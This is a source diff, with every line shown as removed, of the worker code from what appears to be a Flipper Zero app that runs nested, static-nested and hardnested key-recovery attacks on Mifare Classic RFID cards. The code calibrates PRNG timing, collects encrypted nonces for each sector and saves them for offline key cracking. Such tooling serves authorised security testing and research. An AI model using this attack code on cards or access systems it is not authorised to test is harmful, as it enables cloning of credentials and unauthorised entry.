- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
|
|
|
- mifare_nested_worker_write_uid_string(&data, tag_info);
|
|
|
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
|
|
|
- furi_string_free(tag_info);
|
|
|
-
|
|
|
- if(type == MfClassicType4k) {
|
|
|
- sector_count = 40;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
|
|
|
- } else if(type == MfClassicType1k) {
|
|
|
- sector_count = 16;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
|
|
|
- } else { // if(type == MfClassicTypeMini)
|
|
|
- sector_count = 5;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_set(folder_path, NESTED_FOLDER);
|
|
|
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
|
|
|
- furi_string_free(folder_path);
|
|
|
-
|
|
|
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
|
|
|
- !mifare_nested_worker_check_initial_keys(
|
|
|
- &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 1);
|
|
|
-
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- FURI_LOG_I(
|
|
|
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
-
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
|
|
|
- Nonces* info = nonces.nonces[sector][key_type][0];
|
|
|
-
|
|
|
- if(info->collected) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->skipped = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- if(!nested_check_block(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
|
|
|
- FURI_LOG_E(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->invalid = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- while(!info->collected) {
|
|
|
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- struct nonce_info_static result = nested_static_nonce_attack(
|
|
|
- &tx_rx,
|
|
|
- key_block,
|
|
|
- found_key_type,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type,
|
|
|
- key);
|
|
|
- if(result.full) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "Accured nonces for sector %u, block %u, key_type: %u",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info = nonces.nonces[sector][key_type][0];
|
|
|
- info->collected = true;
|
|
|
- info->skipped = false;
|
|
|
-
|
|
|
- memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
|
|
|
- memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
- nonces.cuid = result.cuid;
|
|
|
- nonces.sector_count = sector_count;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
- break;
|
|
|
- } else {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- SaveNoncesResult_t* result =
|
|
|
- mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
-
|
|
|
- if(result->saved) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
|
|
|
- } else {
|
|
|
- mifare_nested_worker->context->save_state = result;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
|
|
|
- }
|
|
|
-
|
|
|
- nfc_deactivate();
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- NonceList_t nonces;
|
|
|
- Storage* storage = furi_record_open(RECORD_STORAGE);
|
|
|
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
|
|
|
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
|
|
|
- FuriString* folder_path = furi_string_alloc();
|
|
|
- FuriHalNfcDevData data = {};
|
|
|
- nested_get_data(&data);
|
|
|
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
|
|
|
- uint64_t key = 0; // Found key for attack
|
|
|
- uint32_t found_key_type = 0;
|
|
|
- uint32_t key_block = 0;
|
|
|
- uint32_t sector_count = 0;
|
|
|
- uint32_t cuid = 0;
|
|
|
- furi_hal_nfc_activate_nfca(200, &cuid);
|
|
|
-
|
|
|
- FURI_LOG_I(TAG, "Running Hard Nested attack");
|
|
|
- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
|
|
|
- mifare_nested_worker_write_uid_string(&data, tag_info);
|
|
|
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
|
|
|
- furi_string_free(tag_info);
|
|
|
-
|
|
|
- if(type == MfClassicType4k) {
|
|
|
- sector_count = 40;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
|
|
|
- } else if(type == MfClassicType1k) {
|
|
|
- sector_count = 16;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
|
|
|
- } else { // if(type == MfClassicTypeMini)
|
|
|
- sector_count = 5;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_set(folder_path, NESTED_FOLDER);
|
|
|
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
|
|
|
- mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
|
|
|
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
|
|
|
- furi_string_free(folder_path);
|
|
|
-
|
|
|
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
|
|
|
- !mifare_nested_worker_check_initial_keys(
|
|
|
- &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 1);
|
|
|
-
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- FURI_LOG_I(
|
|
|
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
|
|
|
-
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
- nonces.tries = 1;
|
|
|
- nonces.hardnested_states = 0;
|
|
|
- nonces.sector_count = sector_count;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
|
|
|
-
|
|
|
- for(uint8_t sector = 0; sector < sector_count &&
|
|
|
- mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
|
|
|
- sector++) {
|
|
|
- for(uint8_t key_type = 0;
|
|
|
- key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
|
|
|
- key_type++) {
|
|
|
- Nonces* info = nonces.nonces[sector][key_type][0];
|
|
|
- if(info->collected) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->skipped = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- if(!nested_check_block(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
|
|
|
- FURI_LOG_E(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->invalid = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- while(!info->collected &&
|
|
|
- mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
|
|
|
- Stream* file_stream = file_stream_alloc(storage);
|
|
|
- FuriString* hardnested_file = furi_string_alloc();
|
|
|
- mifare_nested_worker_get_hardnested_file_path(
|
|
|
- &data, hardnested_file, sector, key_type);
|
|
|
-
|
|
|
- file_stream_open(
|
|
|
- file_stream,
|
|
|
- furi_string_get_cstr(hardnested_file),
|
|
|
- FSAM_READ_WRITE,
|
|
|
- FSOM_CREATE_ALWAYS);
|
|
|
-
|
|
|
- FuriString* header = furi_string_alloc_printf(
|
|
|
- "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
|
|
|
- NESTED_NONCE_FORMAT_VERSION,
|
|
|
- NESTED_RECOVER_KEYS_GITHUB_LINK,
|
|
|
- !key_type ? 'A' : 'B',
|
|
|
- cuid,
|
|
|
- sector);
|
|
|
-
|
|
|
- stream_write_string(file_stream, header);
|
|
|
- furi_string_free(header);
|
|
|
-
|
|
|
- uint32_t first_byte_sum = 0;
|
|
|
- uint32_t* found = malloc(sizeof(uint32_t) * 256);
|
|
|
- for(uint32_t i = 0; i < 256; i++) {
|
|
|
- found[i] = 0;
|
|
|
- }
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
|
|
|
- struct nonce_info_hard result = nested_hard_nonce_attack(
|
|
|
- &tx_rx,
|
|
|
- key_block,
|
|
|
- found_key_type,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type,
|
|
|
- key,
|
|
|
- found,
|
|
|
- &first_byte_sum,
|
|
|
- file_stream);
|
|
|
-
|
|
|
- if(result.static_encrypted) {
|
|
|
- file_stream_close(file_stream);
|
|
|
-
|
|
|
- storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
|
|
|
-
|
|
|
- furi_string_free(hardnested_file);
|
|
|
- free(found);
|
|
|
- free(mf_data);
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventStaticEncryptedNonce,
|
|
|
- mifare_nested_worker->context);
|
|
|
-
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- if(result.full) {
|
|
|
- uint32_t states = 0;
|
|
|
- for(uint32_t i = 0; i < 256; i++) {
|
|
|
- states += found[i];
|
|
|
- }
|
|
|
-
|
|
|
- nonces.hardnested_states = states;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventHardnestedStatesFound,
|
|
|
- mifare_nested_worker->context);
|
|
|
-
|
|
|
- FURI_LOG_D(TAG, "Found states: %lu", states);
|
|
|
-
|
|
|
- if(states == 256) {
|
|
|
- FURI_LOG_D(
|
|
|
- TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
|
|
|
-
|
|
|
- bool valid = false;
|
|
|
- for(uint8_t i = 0; i < sizeof(sums); i++) {
|
|
|
- if(sums[i] == first_byte_sum) {
|
|
|
- valid = true;
|
|
|
- break;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(!valid) {
|
|
|
- FURI_LOG_E(TAG, "Invalid first_byte_sum!");
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- info->collected = true;
|
|
|
- info->hardnested = true;
|
|
|
- info->skipped = false;
|
|
|
-
|
|
|
- nonces.cuid = result.cuid;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- break;
|
|
|
- }
|
|
|
- } else {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- free(found);
|
|
|
- furi_string_free(hardnested_file);
|
|
|
- file_stream_close(file_stream);
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- SaveNoncesResult_t* result =
|
|
|
- mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
-
|
|
|
- if(result->saved) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
|
|
|
- } else {
|
|
|
- mifare_nested_worker->context->save_state = result;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
|
|
|
- }
|
|
|
-
|
|
|
- nfc_deactivate();
|
|
|
-}
|
|
|
-
|
|
|
-void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
|
|
|
- NonceList_t nonces;
|
|
|
- Storage* storage = furi_record_open(RECORD_STORAGE);
|
|
|
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
|
|
|
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
|
|
|
- FuriString* folder_path = furi_string_alloc();
|
|
|
- FuriHalNfcDevData data = {};
|
|
|
- nested_get_data(&data);
|
|
|
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
|
|
|
- uint64_t key = 0; // Found key for attack
|
|
|
- uint32_t found_key_type = 0;
|
|
|
- uint32_t key_block = 0;
|
|
|
- uint32_t sector_count = 0;
|
|
|
- uint32_t delay = 0;
|
|
|
- uint32_t distance = 0;
|
|
|
- uint32_t tries_count = 1;
|
|
|
-
|
|
|
- FURI_LOG_I(TAG, "Running Nested attack");
|
|
|
- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
|
|
|
- mifare_nested_worker_write_uid_string(&data, tag_info);
|
|
|
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
|
|
|
- furi_string_free(tag_info);
|
|
|
-
|
|
|
- if(type == MfClassicType4k) {
|
|
|
- sector_count = 40;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
|
|
|
- } else if(type == MfClassicType1k) {
|
|
|
- sector_count = 16;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
|
|
|
- } else { // if(type == MfClassicTypeMini)
|
|
|
- sector_count = 5;
|
|
|
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_set(folder_path, NESTED_FOLDER);
|
|
|
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
|
|
|
- furi_string_free(folder_path);
|
|
|
-
|
|
|
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
|
|
|
- !mifare_nested_worker_check_initial_keys(
|
|
|
- &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 3);
|
|
|
-
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- FURI_LOG_I(
|
|
|
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
|
|
|
- FuriHalNfcTxRxContext tx_rx = {};
|
|
|
- uint32_t first_distance = 0;
|
|
|
- uint32_t second_distance = 0;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
|
|
|
-
|
|
|
- distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
|
|
|
-
|
|
|
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
|
|
|
- first_distance =
|
|
|
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
|
|
|
- }
|
|
|
-
|
|
|
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
|
|
|
- second_distance =
|
|
|
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
|
|
|
- }
|
|
|
-
|
|
|
- if(first_distance == 0 && second_distance == 0) {
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 3);
|
|
|
-
|
|
|
- mifare_nested_worker_change_state(
|
|
|
- mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
|
|
|
-
|
|
|
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- if(first_distance < second_distance - 100 && second_distance > 100) {
|
|
|
- FURI_LOG_E(
|
|
|
- TAG,
|
|
|
- "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
|
|
|
- first_distance,
|
|
|
- second_distance);
|
|
|
-
|
|
|
- struct distance_info info =
|
|
|
- nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
|
|
|
-
|
|
|
- if(info.max_prng - info.min_prng > 150) {
|
|
|
- FURI_LOG_W(
|
|
|
- TAG,
|
|
|
- "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
|
|
|
- info.max_prng,
|
|
|
- info.min_prng,
|
|
|
- info.max_prng - info.min_prng);
|
|
|
-
|
|
|
- delay = 1;
|
|
|
- } else {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
|
|
|
-
|
|
|
- distance =
|
|
|
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
|
|
|
-
|
|
|
- delay = 2;
|
|
|
- tries_count = 3;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- if(distance == 0 || delay == 1) {
|
|
|
- bool failed = false;
|
|
|
- // Tag need delay or unpredictable PRNG
|
|
|
- FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
|
|
|
-
|
|
|
- delay = mifare_nested_worker_predict_delay(
|
|
|
- &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
|
|
|
-
|
|
|
- if(delay == 1) {
|
|
|
- FURI_LOG_E(TAG, "Can't determine delay");
|
|
|
-
|
|
|
- // Check that we didn't lost tag
|
|
|
- FuriHalNfcDevData lost_tag_data = {};
|
|
|
- nested_get_data(&lost_tag_data);
|
|
|
- if(lost_tag_data.uid_len == 0) {
|
|
|
- // We lost it.
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
|
|
|
- lost_tag_data.cuid != data.cuid) {
|
|
|
- furi_delay_ms(250);
|
|
|
- nested_get_data(&lost_tag_data);
|
|
|
- }
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- failed = true;
|
|
|
- }
|
|
|
-
|
|
|
- if(delay == 2) {
|
|
|
- FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
|
|
|
-
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 3);
|
|
|
-
|
|
|
- mifare_nested_worker_change_state(
|
|
|
- mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
|
|
|
-
|
|
|
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
|
|
|
- distance = nested_calibrate_distance(
|
|
|
- &tx_rx, key_block, found_key_type, key, delay, false);
|
|
|
- }
|
|
|
-
|
|
|
- if(distance == 0 && !failed) {
|
|
|
- FURI_LOG_E(TAG, "Found delay, but can't find distance");
|
|
|
-
|
|
|
- failed = true;
|
|
|
- }
|
|
|
-
|
|
|
- if(failed) {
|
|
|
- nfc_deactivate();
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
- free_nonces(&nonces, sector_count, 3);
|
|
|
-
|
|
|
- return;
|
|
|
- }
|
|
|
-
|
|
|
- tries_count = 3;
|
|
|
- }
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- for(uint8_t tries = 0; tries < tries_count; tries++) {
|
|
|
- for(uint8_t sector = 0; sector < sector_count; sector++) {
|
|
|
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
|
|
|
- Nonces* info = nonces.nonces[sector][key_type][tries];
|
|
|
- if(info->collected) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->skipped = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][tries] = info;
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- if(!nested_check_block(
|
|
|
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
|
|
|
- FURI_LOG_E(
|
|
|
- TAG,
|
|
|
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info->skipped = true;
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][0] = info;
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
-
|
|
|
- continue;
|
|
|
- }
|
|
|
-
|
|
|
- while(!info->collected) {
|
|
|
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- struct nonce_info result = nested_attack(
|
|
|
- &tx_rx,
|
|
|
- key_block,
|
|
|
- found_key_type,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type,
|
|
|
- key,
|
|
|
- distance,
|
|
|
- delay);
|
|
|
-
|
|
|
- if(result.full) {
|
|
|
- FURI_LOG_I(
|
|
|
- TAG,
|
|
|
- "Accured nonces for sector %u, block %u, key_type: %u",
|
|
|
- sector,
|
|
|
- mifare_nested_worker_get_block_by_sector(sector),
|
|
|
- key_type);
|
|
|
-
|
|
|
- info = nonces.nonces[sector][key_type][tries];
|
|
|
- info->collected = true;
|
|
|
- info->skipped = false;
|
|
|
-
|
|
|
- memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
|
|
|
- memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
|
|
|
- memcpy(&info->parity, result.parity, sizeof(result.parity));
|
|
|
-
|
|
|
- nonces.nonces[sector][key_type][tries] = info;
|
|
|
- nonces.cuid = result.cuid;
|
|
|
- nonces.sector_count = sector_count;
|
|
|
- nonces.tries = tries_count;
|
|
|
-
|
|
|
- mifare_nested_worker->context->nonces = &nonces;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
|
|
|
- break;
|
|
|
- } else {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoTagDetected,
|
|
|
- mifare_nested_worker->context);
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
|
|
|
- &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
|
|
|
-
|
|
|
- free(mf_data);
|
|
|
-
|
|
|
- if(result->saved) {
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
|
|
|
- } else {
|
|
|
- mifare_nested_worker->context->save_state = result;
|
|
|
-
|
|
|
- mifare_nested_worker->callback(
|
|
|
- MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
|
|
|
- }
|
|
|
-
|
|
|
- nfc_deactivate();
|
|
|
-}
|
|
|
-
|
|
|
-bool* mifare_nested_worker_check_keys_exists(
|
|
|
- Storage* storage,
|
|
|
- char* path,
|
|
|
- uint64_t* keys,
|
|
|
- uint32_t key_count,
|
|
|
- MifareNestedWorker* mifare_nested_worker) {
|
|
|
- bool* old_keys = malloc(sizeof(bool) * key_count);
|
|
|
- Stream* file_stream = file_stream_alloc(storage);
|
|
|
- file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
|
|
|
- FuriString* key_strings[key_count];
|
|
|
-
|
|
|
- for(uint32_t i = 0; i < key_count; i++) {
|
|
|
- old_keys[i] = false;
|
|
|
- key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
|
|
|
- }
|
|
|
-
|
|
|
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
|
|
|
- FuriString* next_line = furi_string_alloc();
|
|
|
-
|
|
|
- if(!stream_read_line(file_stream, next_line)) {
|
|
|
- break;
|
|
|
- }
|
|
|
-
|
|
|
- for(uint32_t i = 0; i < key_count; i++) {
|
|
|
- if(keys[i] == (uint64_t)-1) continue;
|
|
|
-
|
|
|
- if(furi_string_cmp(next_line, key_strings[i]) == 0) {
|
|
|
- old_keys[i] = true;
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- furi_string_free(next_line);
|
|
|
- }
|
|
|
-
|
|
|
- for(uint32_t i = 0; i < key_count; i++) {
|
|
|
- furi_string_free(key_strings[i]);
|
|
|
- }
|
|
|
-
|
|
|
- file_stream_close(file_stream);
|
|
|
- free(file_stream);
|
|
|
-
|
|
|
- return old_keys;
|
|
|
-}
|
|
